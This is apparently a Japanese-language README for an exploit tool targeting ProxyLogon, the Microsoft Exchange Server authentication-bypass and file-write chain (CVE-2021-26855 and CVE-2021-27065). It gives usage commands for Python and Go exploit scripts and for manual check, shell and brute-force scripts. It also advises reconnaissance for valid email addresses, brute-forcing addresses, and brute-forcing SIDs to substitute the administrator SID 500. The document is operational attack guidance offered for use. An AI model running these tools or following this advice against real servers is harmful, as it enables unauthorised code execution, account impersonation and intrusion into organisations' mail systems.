ProxyLogon

ProxyLogonは、CVE-2021-26855の正式な総称です。これはMicrosoft Exchange Serverの脆弱性であり、攻撃者が認証をバイパスして管理者になりすますことを可能にします。また、このバグを別の認証後任意ファイル書き込みの脆弱性であるCVE-2021-27065と連鎖させて、コード実行を達成しました。

Python3 用 ProxyLogon

usage:
    sudo python3 proxylogon.py --host=target.com [email protected]
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

Go 用 ProxyLogon

usage:
    go run proxylogon.go -u target.com -e [email protected]

ヒント:

1. 有効なメールアドレスを見つけるためにターゲットを偵察する
2. メールが見つからない場合は、メールアドレスファイルを使ってターゲットにブルートフォース攻撃を実行する。
3. 一部のターゲットでは自動化されたエクスプロイトが動作しないため、SIDをブルートフォースし、SID=500に置き換える必要がある。

手動ペンテスト

sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 

参考文献

• proxylogon